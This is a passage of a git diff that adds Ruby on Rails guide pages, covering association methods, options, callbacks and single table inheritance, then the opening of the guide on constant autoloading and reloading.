+``` + +In the above case there are two readings and `person.articles` brings out both of +them even though these records are pointing to the same article. + +Now let's set `distinct`: + +```ruby +class Person + has_many :readings + has_many :articles, -> { distinct }, through: :readings +end + +person = Person.create(name: 'Honda') +article = Article.create(name: 'a1') +person.articles << article +person.articles << article +person.articles.inspect # => [#<Article id: 7, name: "a1">] +Reading.all.inspect # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>] +``` + +In the above case there are still two readings. However `person.articles` shows +only one article because the collection loads only unique records. + +If you want to make sure that, upon insertion, all of the records in the +persisted association are distinct (so that you can be sure that when you +inspect the association that you will never find duplicate records), you should +add a unique index on the table itself. For example, if you have a table named +`readings` and you want to make sure the articles can only be added to a person once, +you could add the following in a migration: + +```ruby +add_index :readings, [:person_id, :article_id], unique: true +``` + +Once you have this unique index, attempting to add the article to a person twice +will raise an `ActiveRecord::RecordNotUnique` error: + +```ruby +person = Person.create(name: 'Honda') +article = Article.create(name: 'a1') +person.articles << article +person.articles << article # => ActiveRecord::RecordNotUnique +``` + +Note that checking for uniqueness using something like `include?` is subject +to race conditions. Do not attempt to use `include?` to enforce distinctness +in an association. For instance, using the article example from above, the +following code would be racy because multiple users could be attempting this +at the same time: + +```ruby +person.articles << article unless person.articles.include?(article) +``` + +#### When are Objects Saved? + +When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. + +If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method. + +### `has_and_belongs_to_many` Association Reference + +The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. + +#### Methods Added by `has_and_belongs_to_many` + +When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 17 methods related to the association: + +* `collection` +* `collection<<(object, ...)` +* `collection.delete(object, ...)` +* `collection.destroy(object, ...)` +* `collection=(objects)` +* `collection_singular_ids` +* `collection_singular_ids=(ids)` +* `collection.clear` +* `collection.empty?` +* `collection.size` +* `collection.find(...)` +* `collection.where(...)` +* `collection.exists?(...)` +* `collection.build(attributes = {})` +* `collection.create(attributes = {})` +* `collection.create!(attributes = {})` +* `collection.reload` + +In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: + +```ruby +class Part < ApplicationRecord + has_and_belongs_to_many :assemblies +end +``` + +Each instance of the `Part` model will have these methods: + +```ruby +assemblies +assemblies<<(object, ...) +assemblies.delete(object, ...) +assemblies.destroy(object, ...) +assemblies=(objects) +assembly_ids +assembly_ids=(ids) +assemblies.clear +assemblies.empty? +assemblies.size +assemblies.find(...) +assemblies.where(...) +assemblies.exists?(...) +assemblies.build(attributes = {}, ...) +assemblies.create(attributes = {}) +assemblies.create!(attributes = {}) +assemblies.reload +``` + +##### Additional Column Methods + +If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. + +WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`. + + +##### `collection` + +The `collection` method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation. + +```ruby +@assemblies = @part.assemblies +``` + +##### `collection<<(object, ...)` + +The `collection<<` method adds one or more objects to the collection by creating records in the join table. + +```ruby +@part.assemblies << @assembly1 +``` + +NOTE: This method is aliased as `collection.concat` and `collection.push`. + +##### `collection.delete(object, ...)` + +The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. + +```ruby +@part.assemblies.delete(@assembly1) +``` + +##### `collection.destroy(object, ...)` + +The `collection.destroy` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. + +```ruby +@part.assemblies.destroy(@assembly1) +``` + +##### `collection=(objects)` + +The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database. + +##### `collection_singular_ids` + +The `collection_singular_ids` method returns an array of the ids of the objects in the collection. + +```ruby +@assembly_ids = @part.assembly_ids +``` + +##### `collection_singular_ids=(ids)` + +The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database. + +##### `collection.clear` + +The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects. + +##### `collection.empty?` + +The `collection.empty?` method returns `true` if the collection does not contain any associated objects. + +```ruby +<% if @part.assemblies.empty? %> + This part is not used in any assemblies +<% end %> +``` + +##### `collection.size` + +The `collection.size` method returns the number of objects in the collection. + +```ruby +@assembly_count = @part.assemblies.size +``` + +##### `collection.find(...)` + +The `collection.find` method finds objects within the collection. It uses the same syntax and options as +[`ActiveRecord::Base.find`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find). + +```ruby +@assembly = @part.assemblies.find(1) +``` + +##### `collection.where(...)` + +The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. + +```ruby +@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago) +``` + +##### `collection.exists?(...)` + +The `collection.exists?` method checks whether an object meeting the supplied +conditions exists in the collection. It uses the same syntax and options as +[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). + +##### `collection.build(attributes = {})` + +The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved. + +```ruby +@assembly = @part.assemblies.build({assembly_name: "Transmission housing"}) +``` + +##### `collection.create(attributes = {})` + +The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@assembly = @part.assemblies.create({assembly_name: "Transmission housing"}) +``` + +##### `collection.create!(attributes = {})` + +Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + +##### `collection.reload` + +The `collection.reload` method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation. + +```ruby +@assemblies = @part.assemblies.reload +``` + +#### Options for `has_and_belongs_to_many` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, -> { readonly }, + autosave: true +end +``` + +The `has_and_belongs_to_many` association supports these options: + +* `:association_foreign_key` +* `:autosave` +* `:class_name` +* `:foreign_key` +* `:join_table` +* `:validate` + +##### `:association_foreign_key` + +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly: + +TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example: + +```ruby +class User < ApplicationRecord + has_and_belongs_to_many :friends, + class_name: "User", + foreign_key: "this_user_id", + association_foreign_key: "other_user_id" +end +``` + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way: + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, class_name: "Gadget" +end +``` + +##### `:foreign_key` + +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class User < ApplicationRecord + has_and_belongs_to_many :friends, + class_name: "User", + foreign_key: "this_user_id", + association_foreign_key: "other_user_id" +end +``` + +##### `:join_table` + +If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default. + +##### `:validate` + +If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved. + +#### Scopes for `has_and_belongs_to_many` + +There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, -> { where active: true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `extending` +* `group` +* `includes` +* `limit` +* `offset` +* `order` +* `readonly` +* `select` +* `distinct` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, + -> { where "factory = 'Seattle'" } +end +``` + +You can also set conditions via a hash: + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, + -> { where factory: 'Seattle' } +end +``` + +If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle". + +##### `extending` + +The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions). + +##### `group` + +The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, -> { group "factory" } +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. + +##### `limit` + +The `limit` method lets you restrict the total number of objects that will be fetched through an association. + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, + -> { order("created_at DESC").limit(50) } +end +``` + +##### `offset` + +The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records. + +##### `order` + +The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). + +```ruby +class Parts < ApplicationRecord + has_and_belongs_to_many :assemblies, + -> { order "assembly_name ASC" } +end +``` + +##### `readonly` + +If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +##### `distinct` + +Use the `distinct` method to remove duplicates from the collection. + +#### When are Objects Saved? + +When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. + +If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method. + +### Association Callbacks + +Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved. + +Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks: + +* `before_add` +* `after_add` +* `before_remove` +* `after_remove` + +You define association callbacks by adding options to the association declaration. For example: + +```ruby +class Author < ApplicationRecord + has_many :books, before_add: :check_credit_limit + + def check_credit_limit(book) + ... + end +end +``` + +Rails passes the object being added or removed to the callback. + +You can stack callbacks on a single event by passing them as an array: + +```ruby +class Author < ApplicationRecord + has_many :books, + before_add: [:check_credit_limit, :calculate_shipping_charges] + + def check_credit_limit(book) + ... + end + + def calculate_shipping_charges(book) + ... + end +end +``` + +If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection. + +### Association Extensions + +You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: + +```ruby +class Author < ApplicationRecord + has_many :books do + def find_by_book_prefix(book_number) + find_by(category_id: book_number[0..2]) + end + end +end +``` + +If you have an extension that should be shared by many associations, you can use a named extension module. For example: + +```ruby +module FindRecentExtension + def find_recent + where("created_at > ?", 5.days.ago) + end +end + +class Author < ApplicationRecord + has_many :books, -> { extending FindRecentExtension } +end + +class Supplier < ApplicationRecord + has_many :deliveries, -> { extending FindRecentExtension } +end +``` + +Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor: + +* `proxy_association.owner` returns the object that the association is a part of. +* `proxy_association.reflection` returns the reflection object that describes the association. +* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`. + +Single Table Inheritance +------------------------ + +Sometimes, you may want to share fields and behavior between different models. +Let's say we have Car, Motorcycle, and Bicycle models. We will want to share +the `color` and `price` fields and some methods for all of them, but having some +specific behavior for each, and separated controllers too. + +Rails makes this quite easy. First, let's generate the base Vehicle model: + +```bash +$ rails generate model vehicle type:string color:string price:decimal{10.2} +``` + +Did you note we are adding a "type" field? Since all models will be saved in a +single database table, Rails will save in this column the name of the model that +is being saved. In our example, this can be "Car", "Motorcycle" or "Bicycle." +STI won't work without a "type" field in the table. + +Next, we will generate the three models that inherit from Vehicle. For this, +we can use the `--parent=PARENT` option, which will generate a model that +inherits from the specified parent and without equivalent migration (since the +table already exists). + +For example, to generate the Car model: + +```bash +$ rails generate model car --parent=Vehicle +``` + +The generated model will look like this: + +```ruby +class Car < Vehicle +end +``` + +This means that all behavior added to Vehicle is available for Car too, as +associations, public methods, etc. + +Creating a car will save it in the `vehicles` table with "Car" as the `type` field: + +```ruby +Car.create(color: 'Red', price: 10000) +``` + +will generate the following SQL: + +```sql +INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000) +``` + +Querying car records will just search for vehicles that are cars: + +```ruby +Car.all +``` + +will run a query like: + +```sql +SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car') +``` diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md new file mode 100644 index 0000000000..b3f923a017 --- /dev/null +++ b/guides/source/autoloading_and_reloading_constants.md @@ -0,0 +1,1383 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Autoloading and Reloading Constants +=================================== + +This guide documents how constant autoloading and reloading works. + +After reading this guide, you will know: + +* Key aspects of Ruby constants +* What are the `autoload_paths` and how does eager loading work in production? +* How constant autoloading works +* What is `require_dependency` +* How constant reloading works +* Solutions to common autoloading gotchas + +-------------------------------------------------------------------------------- + + +Introduction +------------ + +Ruby on Rails allows applications to be written as if their code was preloaded. + +In a normal Ruby program classes need to load their dependencies: + +```ruby +require 'application_controller' +require 'post' + +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +Our Rubyist instinct quickly sees some redundancy in there: If classes were +defined in files matching their name, couldn't their loading be automated +somehow? We could save scanning the file for dependencies, which is brittle. + +Moreover, `Kernel#require` loads files once, but development is much more smooth +if code gets refreshed when it changes without restarting the server. It would +be nice to be able to use `Kernel#load` in development, and `Kernel#require` in +production. + +Indeed, those features are provided by Ruby on Rails, where we just write + +```ruby +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +This guide documents how that works. + + +Constants Refresher +------------------- + +While constants are trivial in most programming languages, they are a rich +topic in Ruby. + +It is beyond the scope of this guide to document Ruby constants, but we are +nevertheless going to highlight a few key topics. Truly grasping the following +sections is instrumental to understanding constant autoloading and reloading. + +### Nesting + +Class and module definitions can be nested to create namespaces: + +```ruby +module XML + class SAXParser + # (1) + end +end +``` + +The *nesting* at any given place is the collection of enclosing nested class and +module objects outwards. The nesting at any given place can be inspected with +`Module.nesting`. For example, in the previous example, the nesting at +(1) is + +```ruby +[XML::SAXParser, XML] +``` + +It is important to understand that the nesting is composed of class and module +*objects*, it has nothing to do with the constants used to access them, and is +also unrelated to their names. + +For instance, while this definition is similar to the previous one: + +```ruby +class XML::SAXParser + # (2) +end +``` + +the nesting in (2) is different: + +```ruby +[XML::SAXParser] +``` + +`XML` does not belong to it. + +We can see in this example that the name of a class or module that belongs to a +certain nesting does not necessarily correlate with the namespaces at the spot. + +Even more, they are totally independent, take for instance + +```ruby +module X + module Y + end +end + +module A + module B + end +end + +module X::Y + module A::B + # (3) + end +end +``` + +The nesting in (3) consists of two module objects: + +```ruby +[A::B, X::Y] +``` + +So, it not only doesn't end in `A`, which does not even belong to the nesting, +but it also contains `X::Y`, which is independent from `A::B`. + +The nesting is an internal stack maintained by the interpreter, and it gets +modified according to these rules: + +* The class object following a `class` keyword gets pushed when its body is +executed, and popped after it. + +* The module object following a `module` keyword gets pushed when its body is +executed, and popped after it. + +* A singleton class opened with `class << object` gets pushed, and popped later. + +* When `instance_eval` is called using a string argument, +the singleton class of the receiver is pushed to the nesting of the eval'ed +code. When `class_eval` or `module_eval` is called using a string argument, +the receiver is pushed to the nesting of the eval'ed code. + +* The nesting at the top-level of code interpreted by `Kernel#load` is empty +unless the `load` call receives a true value as second argument, in which case +a newly created anonymous module is pushed by Ruby. + +It is interesting to observe that blocks do not modify the stack. In particular +the blocks that may be passed to `Class.new` and `Module.new` do not get the +class or module being defined pushed to their nesting. That's one of the +differences between defining classes and modules in one way or another. + +### Class and Module Definitions are Constant Assignments + +Let's suppose the following snippet creates a class (rather than reopening it): + +```ruby +class C +end +``` + +Ruby creates a constant `C` in `Object` and stores in that constant a class +object. The name of the class instance is "C", a string, named after the +constant. + +That is, + +```ruby +class Project < ApplicationRecord +end +``` + +performs a constant assignment equivalent to + +```ruby +Project = Class.new(ApplicationRecord) +``` + +including setting the name of the class as a side-effect: + +```ruby +Project.name # => "Project" +``` + +Constant assignment has a special rule to make that happen: if the object +being assigned is an anonymous class or module, Ruby sets the object's name to +the name of the constant. + +INFO. From then on, what happens to the constant and the instance does not +matter. For example, the constant could be deleted, the class object could be +assigned to a different constant, be stored in no constant anymore, etc. Once +the name is set, it doesn't change. + +Similarly, module creation using the `module` keyword as in + +```ruby +module Admin +end +``` + +performs a constant assignment equivalent to + +```ruby +Admin = Module.new +``` + +including setting the name as a side-effect: + +```ruby +Admin.name # => "Admin" +``` + +WARNING. The execution context of a block passed to `Class.new` or `Module.new` +is not entirely equivalent to the one of the body of the definitions using the +`class` and `module` keywords. But both idioms result in the same constant +assignment. + +Thus, an informal expression like "the `String` class" technically means the +class object stored in the constant called "String". That constant, in turn, +belongs to the class object stored in the constant called "Object". + +`String` is an ordinary constant, and everything related to them such as +resolution algorithms applies to it. + +Likewise, in the controller + +```ruby +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +`Post` is not syntax for a class. Rather, `Post` is a regular Ruby constant. If +all is good, the constant is evaluated to an object that responds to `all`. + +That is why we talk about *constant* autoloading, Rails has the ability to +load constants on the fly. + +### Constants are Stored in Modules + +Constants belong to modules in a very literal sense. Classes and modules have +a constant table; think of it as a hash table. + +Let's analyze an example to really understand what that means. While common +abuses of language like "the `String` class" are convenient, the exposition is +going to be precise here for didactic purposes. + +Let's consider the following module definition: + +```ruby +module Colors + RED = '0xff0000' +end +``` + +First, when the `module` keyword is processed, the interpreter creates a new +entry in the constant table of the class object stored in the `Object` constant. +Said entry associates the name "Colors" to a newly created module object. +Furthermore, the interpreter sets the name of the new module object to be the +string "Colors". + +Later, when the body of the module definition is interpreted, a new entry is +created in the constant table of the module object stored in the `Colors` +constant. That entry maps the name "RED" to the string "0xff0000". + +In particular, `Colors::RED` is totally unrelated to any other `RED` constant +that may live in any other class or module object. If there were any, they +would have separate entries in their respective constant tables. + +Pay special attention in the previous paragraphs to the distinction between +class and module objects, constant names, and value objects associated to them +in constant tables. + +### Resolution Algorithms + +#### Resolution Algorithm for Relative Constants + +At any given place in the code, let's define *cref* to be the first element of +the nesting if it is not empty, or `Object` otherwise. + +Without getting too much into the details, the resolution algorithm for relative +constant references goes like this: + +1. If the nesting is not empty the constant is looked up in its elements and in +order. The ancestors of those elements are ignored. + +2. If not found, then the algorithm walks up the ancestor chain of the cref. + +3. If not found and the cref is a module, the constant is looked up in `Object`. + +4. If not found, `const_missing` is invoked on the cref. The default +implementation of `const_missing` raises `NameError`, but it can be overridden. + +Rails autoloading **does not emulate this algorithm**, but its starting point is +the name of the constant to be autoloaded, and the cref. See more in [Relative +References](#autoloading-algorithms-relative-references). + +#### Resolution Algorithm for Qualified Constants + +Qualified constants look like this: + +```ruby +Billing::Invoice +``` + +`Billing::Invoice` is composed of two constants: `Billing` is relative and is +resolved using the algorithm of the previous section. + +INFO. Leading colons would make the first segment absolute rather than +relative: `::Billing::Invoice`. That would force `Billing` to be looked up +only as a top-level constant. + +`Invoice` on the other hand is qualified by `Billing` and we are going to see +its resolution next. Let's define *parent* to be that qualifying class or module +object, that is, `Billing` in the example above. The algorithm for qualified +constants goes like this: + +1. The constant is looked up in the parent and its ancestors. In Ruby >= 2.5, +`Object` is skipped if present among the ancestors. `Kernel` and `BasicObject` +are still checked though. + +2. If the lookup fails, `const_missing` is invoked in the parent. The default +implementation of `const_missing` raises `NameError`, but it can be overridden. + +INFO. In Ruby < 2.5 `String::Hash` evaluates to `Hash` and the interpreter +issues a warning: "toplevel constant Hash referenced by String::Hash". Starting +with 2.5, `String::Hash` raises `NameError` because `Object` is skipped. + +As you see, this algorithm is simpler than the one for relative constants. In +particular, the nesting plays no role here, and modules are not special-cased, +if neither they nor their ancestors have the constants, `Object` is **not** +checked. + +Rails autoloading **does not emulate this algorithm**, but its starting point is +the name of the constant to be autoloaded, and the parent. See more in +[Qualified References](#autoloading-algorithms-qualified-references). + + +Vocabulary +---------- + +### Parent Namespaces + +Given a string with a constant path we define its *parent namespace* to be the +string that results from removing its rightmost segment. + +For example, the parent namespace of the string "A::B::C" is the string "A::B", +the parent namespace of "A::B" is "A", and the parent namespace of "A" is "". + +The interpretation of a parent namespace when thinking about classes and modules +is tricky though. Let's consider a module M named "A::B": + +* The parent namespace, "A", may not reflect nesting at a given spot. + +* The constant `A` may no longer exist, some code could have removed it from +`Object`. + +* If `A` exists, the class or module that was originally in `A` may not be there +anymore. For example, if after a constant removal there was another constant +assignment there would generally be a different object in there. + +* In such case, it could even happen that the reassigned `A` held a new class or +module called also "A"! + +* In the previous scenarios M would no longer be reachable through `A::B` but +the module object itself could still be alive somewhere and its name would +still be "A::B". + +The idea of a parent namespace is at the core of the autoloading algorithms +and helps explain and understand their motivation intuitively, but as you see +that metaphor leaks easily. Given an edge case to reason about, take always into +account that by "parent namespace" the guide means exactly that specific string +derivation. + +### Loading Mechanism + +Rails autoloads files with `Kernel#load` when `config.cache_classes` is false, +the default in development mode, and with `Kernel#require` otherwise, the +default in production mode. + +`Kernel#load` allows Rails to execute files more than once if [constant +reloading](#constant-reloading) is enabled. + +This guide uses the word "load" freely to mean a given file is interpreted, but +the actual mechanism can be `Kernel#load` or `Kernel#require` depending on that +flag. + + +Autoloading Availability +------------------------ + +Rails is always able to autoload provided its environment is in place. For +example the `runner` command autoloads: + +``` +$ rails runner 'p User.column_names' +["id", "email", "created_at", "updated_at"] +``` + +The console autoloads, the test suite autoloads, and of course the application +autoloads. + +By default, Rails eager loads the application files when it boots in production +mode, so most of the autoloading going on in development does not happen. But +autoloading may still be triggered during eager loading. + +For example, given + +```ruby +class BeachHouse < House +end +``` + +if `House` is still unknown when `app/models/beach_house.rb` is being eager +loaded, Rails autoloads it. + + +autoload_paths and eager_load_paths +----------------------------------- + +As you probably know, when `require` gets a relative file name: + +```ruby +require 'erb' +``` + +Ruby looks for the file in the directories listed in `$LOAD_PATH`. That is, Ruby +iterates over all its directories and for each one of them checks whether they +have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds +any of them, the interpreter loads it and ends the search. Otherwise, it tries +again in the next directory of the list. If the list gets exhausted, `LoadError` +is raised. + +We are going to cover how constant autoloading works in more detail later, but +the idea is that when a constant like `Post` is hit and missing, if there's a +`post.rb` file for example in `app/models` Rails is going to find it, evaluate +it, and have `Post` defined as a side-effect. + +All right, Rails has a collection of directories similar to `$LOAD_PATH` in which +to look up `post.rb`. That collection is called `autoload_paths` and by +default it contains: + +* All subdirectories of `app` in the application and engines present at boot + time. For example, `app/controllers`. They do not need to be the default + ones, any custom directories like `app/workers` belong automatically to + `autoload_paths`. + +* Any existing second level directories called `app/*/concerns` in the + application and engines. + +* The directory `test/mailers/previews`. + +`eager_load_paths` is initially the `app` paths above + +How files are autoloaded depends on `eager_load` and `cache_classes` config settings which typically vary in development, production, and test modes: + + * In **development**, you want quicker startup with incremental loading of application code. So `eager_load` should be set to `false`, and Rails will autoload files as needed (see [Autoloading Algorithms](#autoloading-algorithms) below) -- and then reload them when they change (see [Constant Reloading](#constant-reloading) below). + * In **production**, however, you want consistency and thread-safety and can live with a longer boot time. So `eager_load` is set to `true`, and then during boot (before the app is ready to receive requests) Rails loads all files in the `eager_load_paths` and then turns off auto loading (NB: autoloading may be needed during eager loading). Not autoloading after boot is a `good thing`, as autoloading can cause the app to be have thread-safety problems. + * In **test**, for speed of execution (of individual tests) `eager_load` is `false`, so Rails follows development behaviour. + +What is described above are the defaults with a newly generated Rails app. There are multiple ways this can be configured differently (see [Configuring Rails Applications](configuring.html#rails-general-configuration). +). But using `autoload_paths` on its own in the past (before Rails 5) developers might configure `autoload_paths` to add in extra locations (e.g. `lib` which used to be an autoload path list years ago, but no longer is). However this is now discouraged for most purposes, as it is likely to lead to production-only errors. It is possible to add new locations to both `config.eager_load_paths` and `config.autoload_paths` but use at your own risk. + +See also [Autoloading in the Test Environment](#autoloading-in-the-test-environment). + +`config.autoload_paths` is not changeable from environment-specific configuration files. + +The value of `autoload_paths` can be inspected. In a just-generated application +it is (edited): + +``` +$ rails r 'puts ActiveSupport::Dependencies.autoload_paths' +.../app/assets +.../app/channels +.../app/controllers +.../app/controllers/concerns +.../app/helpers +.../app/jobs +.../app/mailers +.../app/models +.../app/models/concerns +.../activestorage/app/assets +.../activestorage/app/controllers +.../activestorage/app/javascript +.../activestorage/app/jobs +.../activestorage/app/models +.../actioncable/app/assets +.../actionview/app/assets +.../test/mailers/previews +``` + +INFO. `autoload_paths` is computed and cached during the initialization process. +The application needs to be restarted to reflect any changes in the directory +structure. + + +Autoloading Algorithms +---------------------- + +### Relative References + +A relative constant reference may appear in several places, for example, in + +```ruby +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +all three constant references are relative. + +#### Constants after the `class` and `module` Keywords + +Ruby performs a lookup for the constant that follows a `class` or `module` +keyword because it needs to know if the class or module is going to be created +or reopened. + +If the constant is not defined at that point it is not considered to be a +missing constant, autoloading is **not** triggered. + +So, in the previous example, if `PostsController` is not defined when the file +is interpreted Rails autoloading is not going to be triggered, Ruby will just +define the controller. + +#### Top-Level Constants + +On the contrary, if `ApplicationController` is unknown, the constant is +considered missing and an autoload is going to be attempted by Rails. + +In order to load `ApplicationController`, Rails iterates over `autoload_paths`. +First it checks if `app/assets/application_controller.rb` exists. If it does not, +which is normally the case, it continues and finds +`app/controllers/application_controller.rb`. + +If the file defines the constant `ApplicationController` all is fine, otherwise +`LoadError` is raised: + +``` +unable to autoload constant ApplicationController, expected +<full path to application_controller.rb> to define it (LoadError) +``` + +INFO. Rails does not require the value of autoloaded constants to be a class or +module object. For example, if the file `app/models/max_clients.rb` defines +`MAX_CLIENTS = 100` autoloading `MAX_CLIENTS` works just fine. + +#### Namespaces + +Autoloading `ApplicationController` looks directly under the directories of +`autoload_paths` because the nesting in that spot is empty. The situation of +`Post` is different, the nesting in that line is `[PostsController]` and support +for namespaces comes into play. + +The basic idea is that given + +```ruby +module Admin + class BaseController < ApplicationController + @@all_roles = Role.all + end +end +``` + +to autoload `Role` we are going to check if it is defined in the current or +parent namespaces, one at a time. So, conceptually we want to try to autoload +any of + +``` +Admin::BaseController::Role +Admin::Role +Role +``` + +in that order. That's the idea. To do so, Rails looks in `autoload_paths` +respectively for file names like these: + +``` +admin/base_controller/role.rb +admin/role.rb +role.rb +``` + +modulus some additional directory lookups we are going to cover soon. + +INFO. `'Constant::Name'.underscore` gives the relative path without extension of +the file name where `Constant::Name` is expected to be defined. + +Let's see how Rails autoloads the `Post` constant in the `PostsController` +above assuming the application has a `Post` model defined in +`app/models/post.rb`. + +First it checks for `posts_controller/post.rb` in `autoload_paths`: + +``` +app/assets/posts_controller/post.rb +app/controllers/posts_controller/post.rb +app/helpers/posts_controller/post.rb +... +test/mailers/previews/posts_controller/post.rb +``` + +Since the lookup is exhausted without success, a similar search for a directory +is performed, we are going to see why in the [next section](#automatic-modules): + +``` +app/assets/posts_controller/post +app/controllers/posts_controller/post +app/helpers/posts_controller/post +... +test/mailers/previews/posts_controller/post +``` + +If all those attempts fail, then Rails starts the lookup again in the parent +namespace. In this case only the top-level remains: + +``` +app/assets/post.rb +app/controllers/post.rb +app/helpers/post.rb +app/mailers/post.rb +app/models/post.rb +``` + +A matching file is found in `app/models/post.rb`. The lookup stops there and the +file is loaded. If the file actually defines `Post` all is fine, otherwise +`LoadError` is raised. + +### Qualified References + +When a qualified constant is missing Rails does not look for it in the parent +namespaces. But there is a caveat: when a constant is missing, Rails is +unable to tell if the trigger was a relative reference or a qualified one. + +For example, consider + +```ruby +module Admin + User +end +``` + +and + +```ruby +Admin::User +``` + +If `User` is missing, in either case all Rails knows is that a constant called +"User" was 